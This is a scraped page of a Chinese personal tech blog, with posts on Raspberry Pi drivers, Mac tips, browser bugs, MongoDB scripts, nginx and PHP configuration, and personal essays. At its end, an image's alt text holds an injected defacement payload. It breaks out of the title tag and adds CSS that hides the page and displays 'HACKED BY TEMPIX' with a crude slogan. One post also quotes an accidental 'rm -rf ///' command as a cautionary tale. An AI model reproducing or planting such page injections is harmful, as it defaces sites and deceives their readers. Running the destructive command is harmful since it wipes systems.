首先在树莓派上下载编译好的8188eu芯片驱动(出自这里,感谢rpijet同学辛勤的劳动)。解压后得到8188eu.ko文件,将此文件复制到树莓派上/home/pi目录下: Continue reading 树莓派raspbian系统下安装TL-WN725N 2.0无线网卡驱动
Author: zhangshenjia
mac下给树莓派安装raspbian系统
先到树莓派的官方网站去下载一个系统镜像,推荐下载Raspbian。 Continue reading mac下给树莓派安装raspbian系统
解决IE点击按钮链接后出现[object Object]的问题
Mac下用dd写入SD卡,提示permission denied
最近入手了树莓派,需要用dd向SD卡中写入系统镜像,按照教程一步步进行,结果在这步卡住了:
sudo dd bs=4m if=/User/zhangshenjia/2013-02-09-wheezy-raspbian.img of=/dev/rdisk4 dd: /dev/rdisk4: Permission denied
在实用工具里的磁盘工具中查看,SD卡的状态为只读: Continue reading Mac下用dd写入SD卡,提示permission denied
解决ie9下网页标题显示为服务器ip的奇怪问题
在windows2008环境下部署一个网站,之后不久发现有个奇怪的现象:在ie9下网页标题没有正常显示,而是显示出服务器的ip。而在ie7、ie8、chrome、safari下都正常。
怀疑是ie9的问题
因为只有ie9下有这个问题,所以先考虑是不是ie9的bug,于是先google一下,找到了这篇微软的官方文章。按这篇文章的描述,出于安全的考虑,ie9在隐藏地址栏的时候会强制显示服务器ip,使用户远离钓鱼网站的危害。
本来以为问题就这么简单解决了,但是定睛一看,咱的ie9地址栏没隐藏啊!还得继续找原因。 Continue reading 解决ie9下网页标题显示为服务器ip的奇怪问题
欲速则不达
子夏为莒父宰,问政。子曰:“无欲速,无见小利。欲速则不达,见小利,则大事不成。” ————《论语·子路》
事件
几天前,在测试一个远程部署shell脚本的时候,因为错用了单引号导致本地参数没有传递到服务器上,结果就发生了这样的悲剧:
rm -rf /$ROOT/$PATH/$FILE #结果执行的是 rm -rf ///
脚本运行后就蹦出大量的/sys/下文件无权删除提示,一看不对赶紧停掉脚本,服务器已经挂了。经过一天的抢修服务才恢复运行,幸好终止的快,只删掉了部分系统文件,生产数据没有受到损失。
反思
Chrome 最新 bug: 在src为空的img元素的onerror事件中移除自己,导致崩溃
今天突然发现Chrome打开自己的网站会崩溃,而safari、ie都正常,经排查发现下面的代码会导致chrome 25崩溃:
而给src赋值后,就不会崩溃了:
将移除操作放到onclick事件中再触发之,也不会崩溃:
因为之前一直运行正常,估计是新版chrome在渲染引擎方面的改动导致。这段代码是用来自动移除url错误的图片的,将其改为src不为空时才输出img元素,问题解决。
命令行下获取和识别时间戳的工具 timestamp.js
Github:https://github.com/shenjia/timestamp.js
作为程序员经常要和时间戳打交道,有时想快速知道当前的时间戳,往往需要运行一段小程序:
<?php echo time(); ?>
又或者想从一个时间戳得出具体的时间:
<?php echo date( 'Y-m-d G:i:s', 1361525534 ); ?>
一次两次还好,次数多了真的很烦,于是写了一段js,通过nodejs运行,再自定义一个shell函数,以后就可以这样了:
$ ts 1361525534 $ ts 1361525866 2013-2-22 17:37:46
再见,2012
2012年就要过去了,这既是平凡的一年,也是不平凡的一年。
这一年,我开始使用一些伟大的产品,比如Macbook Air、github、google reader、codekit、sublime text 2、1password、鼠须管、……感谢这些产品的开发者,为我们节省了大量的时间。
我接触到了less,并很快迷上了它,用了一天时间把项目中的css改写成less。css的结构变得更加明晰了,我还通过自定义mixins将很多常用的属性进行了封装,并解决了图片url自动加版本号之类的问题。后来参考bootstrap和perkins写了一个框架zLess。
由于项目需要,我写了很多MongoDB下使用的维护脚本,并整理了一些经验。经过不断的重构,一些基础的函数和类被提炼出来,比如time、progress、buffer、cache等等。希望在不久的将来可以整理好结构,在github上再开一个项目。
去年,我每行代码都写的小心翼翼,以不出错为目标。而今年,我开始追求代码的复用性、可读性,不断地重构,以删代码为乐。每次通过重构删除一堆重复代码,提交到svn后那种畅快的感觉,真是难以用言语形容。年初我还将自己的编程哲学整理了一下,写了一篇文章。
在微拍工作这一年多来,我要非常感谢我的boss胡震生,他经常指出我犯的错误,容忍我犯的错误,并帮助我改正错误。我从他身上学到了很多,下面是最重要的几条:
1、除非有特别重要的事情,不要随意打断别人工作,琐碎的事情集中起来一次沟通;
2、保持沟通,避免因缺乏沟通造成的损失;
3、永远先做最重要的事;
4、绝不犯重复的错误;
5、完成比完美重要。
本想再写写游戏、阅读的话题,但一看时间2012年就快过去了,遵守一下自己刚写下的“完成比完美重要”这一原则,就此打住吧。
最后,我觉得这一年自己亏欠家人太多太多,希望在2013年可以让他们的生活更加美好一些。
藏钱包的小男孩
一
当我回过神来,发现自己正坐在一间教室里听课。
讲台上传来一个非常古怪的声音,低沉且悠长,声调忽高忽低,我集中注意力去听,却发现怎么也听不懂在讲什么,自己反而快听睡着了。
定睛看去,讲台上的老师拿着书,正在黑板上奋力挥舞粉笔,拳头大的字已经铺满了大半块黑板。我盯着那些字,努力想看清楚他写的是什么,可是直看到眼睛酸痛也没认出一个字,只好放弃了这个想法。于是我把注意力从讲台上移开,环视一周。
这是一个大班教室,座位没有坐满,前排的座位稀稀拉拉,而后排的座位却相当受欢迎。我坐在最后一排靠窗户的位置,周边的学生交头接耳,叽叽喳喳说的不停,时不时传来一阵阵笑声。
“看来这门课不太受欢迎啊”,我想。
我将目光投向身边的一个小男孩,他正在和同桌在作业本上下着五子棋。我想问问他现在上的是什么课,但是他下得非常地专注,以至于我碰了他好几下,他都没有回过头来。我又看了看周围,原来这间教室里的学生都是一些小孩子,好像只有二三年级的样子,我正在一所小学听课!
不知道为什么我会来到这里,课又听不懂,四周的人也无法沟通,于是我决定一下课就离开这个地方。 Continue reading 藏钱包的小男孩
解决Rockmongo不显示中文的问题
为MongoDB编写Js维护脚本
最近项目上有一个需求,要对存储在MongoDB中的用户行为数据定期进行统计分析。
先使用PHP实现原型,发现因为数据量很大,大量时间都花在MongoDB服务器和Web服务器之间的数据交换上。考虑到这一点,必须在MongoDB服务器上进行本地计算,将结果保存起来,再使用PHP访问并展示给用户。
查阅文档得知,MongoDB可以执行JS脚本,这样思路就清楚了,用JS脚本实现统计的功能,再用crontab定期执行。
现在和大家分享一下在完成这个任务的过程中,遇到的一些问题和解决思路。(必须要说的是,MongoDB的官方文档对服务器端JS编程的文档极度缺乏,很多命令都是通过Google才找到的。)
在命令行输出信息
输出字符串:
print( 'Hello World' );
输出对象:
var obj = { 'key' : 'value' };
printjson( obj );
切换数据库
在Mongo JS Shell中,切换当前数据库的命令是:use xxx,这是一个magic helper。遗憾的是,在JS脚本中没有use可用。
如果运行mongo时没有加上–nodb参数,那么会自动connect到指定的服务器和数据库,并把句柄保存为db。如果运行时没有指定服务器会默认连接本机127.0.0.1,如果没有指定数据库会连接到test数据库。
你可以用conncet命令重新发起连接:
var userDB = connect( '123.123.123.123/user' ); userDB.user.find();
常用bash快捷键
收集自:http://ss64.com/bash/syntax-keyboard.html
注意:如果要在mac的终端下使用Alt组合键,需要在终端的偏好设置里选中“使用option键作为meta键”
Continue reading 常用bash快捷键
用inginx.conf分级管理nginx配置文件
其实nginx的conf结构本来设计的不错,但是从默认安装的配置文件离实际可用状态还有一些距离。比如设置fastcgi、分离server部分到多个文件等。
一般来说,部署完毕之后conf已经是面目全非了。众多参数缺乏有效的管理组织方式。如果有多个站点,那么各个站点的配置文件中可能还存在大量重复。
inginx.conf(github)项目诞生的目的是:明晰nginx配置文件的结构,让维护多个站点的配置、部署新站点变的更加简单。
部署
注意:请先备份nginx/conf目录
1、自动部署:下载自动部署脚本deploy.sh并运行,脚本会自动检测nginx/conf的位置并部署完成(需要wget和unzip)。
#全自动部署
./deploy.sh
#也可以指定nginx/conf的位置
./deploy.sh /etc/nginx/conf
2、手动部署:下载zip包后解压缩,然后将conf目录复制到nginx/conf目录。
cp conf /usr/local/nginx/conf
创建新站点
1、进入conf/servers目录,将server.example复制一份,命名为自己的站点(注意后缀应为.conf) Continue reading 用inginx.conf分级管理nginx配置文件
通过macports安装的php,extension的配置被分离
我现在的开发环境,php、php-mongo、php-mysql、php-redis、xdebug等都是通过macports安装的。一直使用都没有问题,直到今天编辑php.ini的时候发现,这些extension居然都没有在php.ini中定义。奇怪了,那它们是怎么加载的呢?
首先怀疑我编辑的php.ini不是php实际使用的配置文件。通过查看phpinfo(),在Configure Command中可以确认–with-config-file-path为/opt/local/etc/php54,编辑的php.ini没有问题。
既然php.ini中没有定义,而extension又实际上被加载了。那么可以初步判断,通过macports安装的php,extension的相关配置是存在php.ini之外的一个地方,那么究竟在哪呢?
继续分析phpinfo(),发现这么一条–with-config-file-scan-dir=/opt/local/var/db/php54。进入这个目录一看,mongo.ini、mysql.ini、redis.ini、xdebug.ini等都在这里。于是乎真相大白,原来extension相关的配置文件都被分离到这里了。
究其原因,macports这样做是为了方便维护extension。好处如下:
1、extension的配置与php.ini隔离,方便维护(直接修改php.ini会引发各种问题)
2、各个extension的配置文件相互隔离,互不影响(安装卸载只要添加删除文件即可)
在不同php版本中实现model层重复代码的去除
问题
MVC架构中的model层主要负责和数据直接交互,如果没有使用ORM框架,那么很多原子操作(CRUD等)需要自己实现。一般来说一个系统会有多个Model,每一个Model都需要重复实现这些原子操作,而这些代码往往除了表名外都是一样的:
class User {
public static function findById ( $id ) {
return DBProxy::getDb( 'user' )->findOne( array( '_id' => new MongoId( $id ) ) );
}
}
class Video {
public static function findById ( $id ) {
return DBProxy::getDb( 'video' )->findOne( array( '_id' => new MongoId( $id ) ) );
}
}
当我们增加一个Model类的时候,比如Article,就要从其他类复制这些原子操作(比如find、findOne、findById、update、save、count等等)过来。如果有一个方法需要变更,比如增加一个参数或者添加log日志,就得修改所有Model类中的同名方法。这实在是一件很痛苦很无奈的事情。
《重构》一书告诉我们,重复的代码是坏味道,那么我们该怎么改良呢? Continue reading 在不同php版本中实现model层重复代码的去除
第一次使用mac会遇到的一些典型问题
- 几乎所有的app的设置选项,都在屏幕顶部苹果logo右边,点击app名字弹出的菜单中,快捷键是Command+逗号
- 在finder中按enter是重命名,打开文件夹和文件的快捷键是 Command+Down
- 在finder中右键菜单中的“复制”是建立副本,“拷贝 xxx”才是复制
- 在finder中没有剪切这个概念,如果需要移动文件,可以选中之后按 Command+C 拷
贝,再进入目标目录,按Command+Option+V - 在finder的树形视图中选中某个文件夹并不代表进入了这个文件夹,如果想复制文件到该文件夹,需要双击或按Command+Down进入之后才能进行
- f1 ~ f12键默认是mac自定义的功能键,需要同时按fn才生效,可以在系统偏好设置里更改
mac下配置php环境后出现syntax error
刚在mac上配置好php环境,运行项目代码就出现错误:
Parse error: syntax error, unexpected end of file in xxx.php on line 21
检查出错的文件,21行是该文件的最后一行,是一句很简单的php代码,没有发现任何问题。于是我准备用排除法来定位问题,将该行删除后刷新页面,错误信息变成:
Parse error: syntax error, unexpected end of file in xxx.php on line 20
错误行变成20行,而该行是一个html标签。这样就很奇怪了,非php的代码怎么会引发php的语法错误?
再继续排查,该文件中还有一段php代码:
<?php foreach ( $tags as $tag ) {
?><a href="<?= $tag[ 'url' ] ?>"><?= $tag[ 'name' ] ?></a>
虽然觉得不太可能,但还是将这段不能再简单的代码删除测试一下,居然不报错了!
继续测试,结果发现只要把循环体彻底删除,就不会报错。而只要保留循环体,哪怕是?><?,也会报错。脑中浮现出之前google时见过的一个诡异问题,莫非⋯⋯
打开php.ini,搜索short_open_tag,好吧,不知道出于什么目的,在用port装的php54里这个值居然是Off!貌似我用yum、apt-get乃至手动编译php,这个值都是On啊。
果断改之,重启php,问题顺利解决。
mac下利用国外的vps建立代理翻墙
现在很多人都有国外的VPS了,那么我们可以利用它建立SSH隧道代理来实现翻墙,解决很多国外网站上不了或间歇性不能访问的问题。
1、首先到http://nihilex.com/secret-socks去下载SecretSocks并安装。
2、运行之后,在SSH hostname中输入自己vps的ip,在Port number中输入ssh的端口(如果你没有改过的话是22),然后在Username中输入可用ssh登录的用户,在Password中输入密码,然后点击Connect按钮。如果看到绿色的对号,说明连接成功了。
3、配置浏览器中的代理,不过我的chrome和safari都自动发现了代理,不需要特别配置就可以使用了。如果你使用的浏览器没有,那么就手动设置一下代理服务器为127.0.0.1:9999。
需要注意的事项:只在需要翻墙的时候Connect,不需要翻墙时记得Disconnect,否则访问国内的网站会很慢或打不开,而且VPS的流量一般是有限的,需要节约使用。
人生如游戏,请随时存盘
我为什么要写文章?
不知从何时起,我开始记录自己在各个游戏上的经验心得,写了一篇又一篇的教程。将自己脑中思索已久的想法、探索的经历、实践过的经验写出来,实在是一件很快乐的事情。为了这种快乐,我宁愿花无数个小时去码字,排版,配图……
我不禁要问自己,这种快乐的来源是什么?
人的本性是自私的,我也不会例外。为什么把自己辛苦得来的经验分享出来,会让自己得到快乐呢?是为了获取别人敬仰的目光,满足自己的虚荣心吗?还是好为人师,想体验那种优越感呢?
我找到了另一个答案:为了证明自己的存在。
那些分享经验心得的文章,证明我曾在这些领域努力过,证明我在那段时间里存在过。这些文章可能会帮助到一些人,也可能会误导一些人,但我的思考和实践会对他们有一定的参考价值,可能会帮助他们解决问题,减少他们犯同样错误的可能性,或者给他们不同思路的启迪。
在一个人的生命中留下你的足迹,使他的生活变得更美好(节省时间、减少痛苦、欣赏美丽……),哪怕施加的影响是极其微小的,这就是你存在的价值。如果你能持续这种影响力,那么你的生命就是不朽的,你就在世间永存。
准备随时死去
人类之所以有别于动物,就是可以通过语言和文字将自己的经验和思想传承下来,而子孙后代通过学习可以快速掌握几代人穷尽一生才探索到的知识。一个人的生命是有限的,而其人生的价值就在于留给后人的东西。
相信玩游戏的朋友们都知道Save / Load大法,其实人生也是一样。
我永远无法知道明天会发生什么事情,自己的生命可能在任何一秒钟终结。而当我死去的时候,我的肉体,拥有的能力,掌握的知识,以及脑中的各种思想都将不复存在。这个世界上我所存在的证据,就是我创造过的一切。我写的文章,我画的画,我写过的程序……
我不希望在死去前那一刻,想到自己还有很多想法没有说出来,还有很多事情没来得及告诉别人……那是多么绝望和痛苦的感觉?那种感觉就像写文章写了几千字,突然停电了才想起没存盘一样。
所以我工作时会建立文档,记下只有自己掌握的知识和工作流程,在必要时可以随时交接。写代码时要经常重构,保证可读性并把自己的思路注释清楚,保证自己可以随时离开。
当我把自己知道和想到的东西都写下来时,我心中感到无比地踏实和满足。就像刚刚离开一个存盘点,在未知的领域迈出新的一步一样,我不惧怕包括死亡在内的任何危险,因为我的经历和成就已经保存下来了。
“随时存盘”是一个好的习惯,游戏一样,工作一样,人生也一样。
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)


